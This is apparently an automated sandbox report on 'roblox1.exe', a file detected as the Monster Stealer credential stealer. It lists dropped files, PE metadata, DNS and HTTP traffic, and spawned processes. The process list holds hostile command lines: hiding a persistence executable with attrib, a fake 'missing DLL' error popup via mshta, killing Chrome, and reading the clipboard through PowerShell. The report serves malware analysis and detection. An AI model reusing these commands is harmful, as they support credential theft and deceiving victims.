C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_quoting_c.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	5.981540506645796
Encrypted:	false
SSDEEP:	1536:rcNWyKPvIOrTasrpKBbylBwq9FJwHGa6NWfJc97JxtR:4wyyvIAasrEBOwIH0GaPJc97JxtR
MD5:	6809491F7B8AD46A7281E222CA71745A
SHA1:	138C75BFB03B1D54CD62FE14C3DC4501CB418397
SHA-256:	80660605AE26882225D02D130D0A84927635A79C78055C2EEDE010A28E84EB32
SHA-512:	97B498E3F69DE6CCC4F3373683D9E2AAE67CBE2532508A7677738702BBAF02EBD7C05C26E53CEBB076F9943EEA59B1AC4B9F7EE71A1626B8E31E539D009B39E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J..].....................;......E.......;.......;.......;.....................F:......F:......F:j.....F:......Rich............PE..d...!X.f.........." ...)..................................................................`..........................................X..d...4Y..x...............................,....G..............................PF..@............ ..`............................text............................... ..`.rdata...M... ...N..................@..@.data...@7...p.......Z..............@....pdata...............f..............@..@.rsrc................r..............@..@.reloc..,............t..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.997435059161403
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	roblox1.exe
File size:	11'168'256 bytes
MD5:	cd463d16cf57c3a9f5c9588a878a7213
SHA1:	ef22c2b11efc0bc6a739b82f9a26edaee9348b8f
SHA256:	49f4789274e5c0dcd4d2cc1b850761353bf8b72e819d12df5c376fd665da1283
SHA512:	5b20ce36b15f5d002d183850032067b11f811544bac19e0a76340df47294d0b059fa8dc43fedd8480d6f72eb8357d01924dbe9cbebdaac1625c5f4f498392822
SSDEEP:	196608:1a4vbUQYRyS/Kh44vTM1NExeka13ZlfNf5PWwShXBFPHIG1MZBwYFCnvkC2:7vDX0gZvT2U/S3ZllEhxFPIG1rYFC8C
TLSH:	D4B63322E24350D8D14BD0F0DA866BE2A438FCB48276D47FA382F76F6319D544BACB55
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Jg...............+.....f...>..%..........@............................. ......VP....`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001125
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x674AFD18 [Sat Nov 30 11:55:04 2024 UTC]
TLS Callbacks:	0x40014ca0, 0x1, 0x40014d60, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	0cad4d75817cf5181c89bf958567a0e8

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
mov dword ptr [ebp-04h], 000000FFh
dec eax
mov eax, dword ptr [0001E985h]
mov dword ptr [eax], 00000000h
call 00007F06692E2FE3h
mov dword ptr [ebp-04h], eax
nop
nop
mov eax, dword ptr [ebp-04h]
dec eax
add esp, 30h
pop ebp
ret
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 70h
dec eax
mov dword ptr [ebp-10h], 00000000h
mov dword ptr [ebp-1Ch], 00000030h
mov eax, dword ptr [ebp-1Ch]
dec eax
mov eax, dword ptr [eax]
dec eax
mov dword ptr [ebp-28h], eax
dec eax
mov eax, dword ptr [ebp-28h]
dec eax
mov eax, dword ptr [eax+08h]
dec eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-04h], 00000000h
jmp 00007F06692E2FF3h
dec eax
mov eax, dword ptr [ebp-10h]
dec eax
cmp eax, dword ptr [ebp-18h]
jne 00007F06692E2FDBh
mov dword ptr [ebp-04h], 00000001h
jmp 00007F06692E3017h
mov ecx, 000003E8h
dec eax
mov eax, dword ptr [000472FEh]
call eax
dec eax
mov eax, dword ptr [0001E95Dh]
dec eax
mov dword ptr [ebp-30h], eax
dec eax
mov eax, dword ptr [ebp-18h]
dec eax
mov dword ptr [ebp-38h], eax
dec eax
mov dword ptr [ebp-40h], 00000000h
dec eax
mov ecx, dword ptr [ebp-38h]
dec eax
mov eax, dword ptr [ebp-40h]
dec eax
mov edx, dword ptr [ebp-30h]
dec eax
cmpxchg dword ptr [edx], ecx
dec eax
mov dword ptr [ebp-10h], eax
dec eax
cmp dword ptr [ebp-10h], 00000000h
jne 00007F06692E2F7Ah
dec eax
mov eax, dword ptr [0001E936h]
mov eax, dword ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x48000	0xe14	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4b000	0xa853d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x22000	0x7c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xad1000	0x90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1f360	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48368	0x318	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b828	0x1ba00	1455bf91ae500609df54dc39473cd02c	False	0.5004153704751131	data	6.3279571847761	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1d000	0x100	0x200	eb9a6cb228491de89417dc68d3c3e465	False	0.173828125	data	1.1472281521632943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0x2ab0	0x2c00	06ba628f277d0fbdce9d69acb88071d4	False	0.27494673295454547	data	5.143379586263529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.eh_fram	0x21000	0x4	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x22000	0x7c8	0x800	264a8f496e19cc8aa452042d9082d892	False	0.4990234375	data	5.135211167390138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x23000	0x970	0xa00	7b4256fb41288066fee448ce27d14d87	False	0.276171875	shared library	4.49993989238553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x24000	0x23c90	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x48000	0xe14	0x1000	b67a6c2d0d3709103b2f787b6c1f601a	False	0.31201171875	data	4.089062374830754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x49000	0x60	0x200	78ac47b49507f3b1f9fdfe0f61a65ad6	False	0.0703125	data	0.3164000245953951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x4a000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4b000	0xa853d0	0xa85400	102123431f9b35cda8ef1ad8d0c6f7a3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xad1000	0x90	0x200	817e154368d240e8615462a76de66e30	False	0.279296875	data	1.7625445577197119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x4b0a0	0xa84f38	data			1.0003108978271484
RT_MANIFEST	0xacffd8	0x3f8	ASCII text, with very long lines (1016), with no line terminators			0.4655511811023622

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CopyFileW, CreateDirectoryW, CreateFileMappingW, CreateFileW, CreateProcessW, DeleteCriticalSection, DeleteFileW, EnterCriticalSection, FindResourceA, FormatMessageA, FreeLibrary, GenerateConsoleCtrlEvent, GetCommandLineW, GetCurrentProcessId, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesW, GetFileSize, GetLastError, GetModuleFileNameW, GetModuleHandleA, GetProcAddress, GetProcessId, GetStdHandle, GetSystemTimeAsFileTime, GetTempPathW, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, LoadResource, LockResource, MapViewOfFile, MultiByteToWideChar, ReadFile, SetConsoleCtrlHandler, SetEnvironmentVariableW, SetUnhandledExceptionFilter, SizeofResource, Sleep, TerminateProcess, TlsGetValue, UnmapViewOfFile, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte, WriteFile
msvcrt.dll	__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __iob_func, __set_app_type, __setusermatherr, __wargv, __wgetmainargs, __winitenv, _amsg_exit, _cexit, _commode, _errno, _fmode, _initterm, _lock, _onexit, _unlock, _wcsdup, _wcsicmp, _wrename, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, malloc, mbstowcs, memcpy, memmove, memset, puts, signal, strerror, strlen, strncmp, vfprintf, wcschr, wcscmp, wcslen, wcsncmp
SHELL32.dll	CommandLineToArgvW, SHFileOperationW, SHGetFolderPathW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:08:33.092458963 CET	49712	80	192.168.2.8	208.95.112.1
Dec 18, 2024 15:08:33.213346004 CET	80	49712	208.95.112.1	192.168.2.8
Dec 18, 2024 15:08:33.213521004 CET	49712	80	192.168.2.8	208.95.112.1
Dec 18, 2024 15:08:33.214473963 CET	49712	80	192.168.2.8	208.95.112.1
Dec 18, 2024 15:08:33.334125996 CET	80	49712	208.95.112.1	192.168.2.8
Dec 18, 2024 15:08:34.310555935 CET	80	49712	208.95.112.1	192.168.2.8
Dec 18, 2024 15:08:34.311791897 CET	49712	80	192.168.2.8	208.95.112.1
Dec 18, 2024 15:08:34.431794882 CET	80	49712	208.95.112.1	192.168.2.8
Dec 18, 2024 15:08:34.431899071 CET	49712	80	192.168.2.8	208.95.112.1
Dec 18, 2024 15:09:03.678731918 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:03.678776026 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:03.678895950 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:03.680464983 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:03.680479050 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.117233038 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.118222952 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:05.118240118 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.119333029 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.119393110 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:05.120485067 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:05.120520115 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.120637894 CET	49722	443	192.168.2.8	135.181.65.219
Dec 18, 2024 15:09:05.120640993 CET	443	49722	135.181.65.219	192.168.2.8
Dec 18, 2024 15:09:05.120718002 CET	49722	443	192.168.2.8	135.181.65.219

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:08:32.883950949 CET	49378	53	192.168.2.8	1.1.1.1
Dec 18, 2024 15:08:33.021668911 CET	53	49378	1.1.1.1	192.168.2.8
Dec 18, 2024 15:09:03.538799047 CET	50158	53	192.168.2.8	1.1.1.1
Dec 18, 2024 15:09:03.676676989 CET	53	50158	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 15:08:32.883950949 CET	192.168.2.8	1.1.1.1	0xf38c	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:09:03.538799047 CET	192.168.2.8	1.1.1.1	0xa00c	Standard query (0)	restores.name	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 15:08:33.021668911 CET	1.1.1.1	192.168.2.8	0xf38c	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:09:03.676676989 CET	1.1.1.1	192.168.2.8	0xa00c	No error (0)	restores.name		135.181.65.219	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49712	208.95.112.1	80	3428	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:08:33.214473963 CET	125	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.10.5
Dec 18, 2024 15:08:34.310555935 CET	483	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:08:34 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

Target ID:	0
Start time:	09:08:21
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\roblox1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\roblox1.exe"
Imagebase:	0x7ff7ac5f0000
File size:	11'168'256 bytes
MD5 hash:	CD463D16CF57C3A9F5C9588A878A7213
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:08:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:08:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\roblox1.exe
Imagebase:	0x7ff7cfbb0000
File size:	16'927'744 bytes
MD5 hash:	6FE46FD6E5B143F5114E6616C59B703C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, Author: Joe Security
Antivirus matches:	Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:08:26
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:08:27
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:08:27
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:08:27
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6850e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:08:27
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff759970000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:08:30
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:08:30
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Imagebase:	0x7ff715ae0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:08:30
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:08:30
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:08:31
Start date:	18/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Imagebase:	0x7ff6875b0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:08:31
Start date:	18/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff6b9050000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
